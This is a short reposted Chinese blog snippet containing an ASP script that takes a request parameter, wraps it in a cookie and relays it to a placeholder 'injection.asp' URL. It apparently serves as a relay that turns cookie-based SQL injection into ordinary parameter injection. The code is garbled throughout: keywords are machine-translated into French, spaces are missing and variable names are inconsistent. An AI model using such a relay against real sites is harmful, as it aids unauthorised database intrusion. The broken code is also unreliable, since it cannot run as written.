来源 ： 职业欠钱 & zj1244 共 用的 publicblog
复制代码代码如下:
<%
Str = "xxxid =" & Escape (request ("fk")))
Url = "http://xxx.chinaxxx.com/injection.asp"
Response.WritePostData (URL, STR)
FunctionPostData (postul, postcok)
Dimhttp
Sethttp = server.createObject ("msxml2.serverxmlhttp")
Avec
.Open "Get", Posturl, faux
.SetRequestHeader "Cookie", postcok
.Envoyer
Postdata = .Responsebody
Fin
Sethttp = rien
Postdata = bytes2bstr (postdata)
Finition de fin
FunctionBytes2BSTR (VIN)
Dimstrreturn
Dimi, ThisCharcode, NextCharcode
strreturn = ""
Fori = 1Tolenb (vin)
ThisCharcode = ASCB (midb (vin, i, 1))
Ifthischarcode <& h80Then
Streturn = Strreturn & Chr (ThisCharcode)
Autre
NextCharcode = ASCB (Midb (Vin, I + 1,1))
Streturn = Streturn & Chr (Clng (ThisCharcode) * & H100 + Cint (NextCharcode))
I = i + 1
Endire
Suivant
bytes2bstr = STRRETURN
Finition de fin
%>